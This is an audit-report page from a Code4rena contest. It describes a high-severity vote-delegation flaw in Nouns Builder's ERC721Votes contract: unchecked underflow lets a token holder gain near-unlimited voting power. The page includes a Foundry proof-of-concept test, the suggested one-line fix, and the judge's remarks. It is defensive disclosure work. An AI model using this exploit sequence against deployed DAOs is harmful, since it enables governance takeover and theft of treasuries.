Nouns Builder contest - saian's results

A permissionless, governed protocol to deploy nouns-style DAOs complete with treasury, generative collections, and governance mechanisms.

General Information

Platform: Code4rena

Start Date: 06/09/2022

Pot Size: $90,000 USDC

Total HM: 33

Participants: 168

Period: 9 days

Judge: GalloDaSballo

Total Solo HM: 10

Id: 157

League: ETH

Nouns Builder

Findings Distribution

Researcher Performance

Rank: 54/168

Findings: 1

Award: $235.61

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: saian

Also found by: 0x4non, Ch_301, MEP, Picodes, PwnPatrol, R2, Soosh, davidbrai, izhuer, rotcivegaf, scaraven

Labels

bug
3 (High Risk)
sponsor confirmed
old-submission-method

Awards

235.614 USDC - $235.61

External Links

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268

Vulnerability details

Impact

aftertokenTransfer in ERC721Votes transfers votes between user addresses instead of the delegated addresses, so a user can cause overflow in _moveDelegates and get unlimited votes

Proof of Concept

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268

function _afterTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override { // Transfer 1 vote from the sender to the recipient _moveDelegateVotes(_from, _to, 1); super._afterTokenTransfer(_from, _to, _tokenId); }

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216

_moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); ... unchecked { ... // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); }

During delegation balanceOf(from) amount of votes transferred are to the _to address

function test_UserCanGetUnlimitedVotes() public { vm.prank(founder); auction.unpause(); vm.prank(bidder1); auction.createBid{ value: 1 ether }(2); vm.warp(10 minutes + 1 seconds); auction.settleCurrentAndCreateNewAuction(); assertEq(token.ownerOf(2), bidder1); console.log(token.getVotes(bidder1)); // 1 console.log(token.delegates(bidder1)); // 0 bidder1 vm.prank(bidder1); token.delegate(bidder2); console.log(token.getVotes(bidder1)); // 1 console.log(token.getVotes(bidder2)); // 1 vm.prank(bidder1); auction.createBid{value: 1 ether}(3); vm.warp(22 minutes); auction.settleCurrentAndCreateNewAuction(); assertEq(token.ownerOf(3), bidder1); console.log(token.balanceOf(bidder1)); // 2 console.log(token.getVotes(bidder1)); // 2 console.log(token.getVotes(bidder2)); // 1 vm.prank(bidder1); token.delegate(bidder1); console.log(token.getVotes(bidder1)); // 4 console.log(token.getVotes(bidder2)); // 6277101735386680763835789423207666416102355444464034512895 }

When user1 delegates to another address balanceOf(user1) amount of tokens are subtraced from user2's votes, this will cause underflow and not revert since the statements are unchecked

Tools Used

foundry

Change delegate transfer in afterTokenTransfer to

_moveDelegateVotes(delegates(_from), delegates(_to), 1);

#0 - GalloDaSballo

2022-09-25T20:46:59Z

The warden has shown how to exploit:

  • An unchecked section of the code
  • An incorrect logic in moving tokenDelegation

To trigger an underflow that gives each user the maximum voting power

While some setup is necessary (having 1 token), I think the exploit is impactful enough to warrant High Severity, as any attacker will be able to obtain infinite voting power on multiple accounts

#1 - tbtstl

2022-09-26T18:27:27Z

Another delegation duplicate

#2 - GalloDaSballo

2022-10-03T15:19:20Z

In contrast to other reports, this finding (as well as it's duplicates) are using an unchecked operation to negatively overflow the amount of votes to gain the maximum value

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter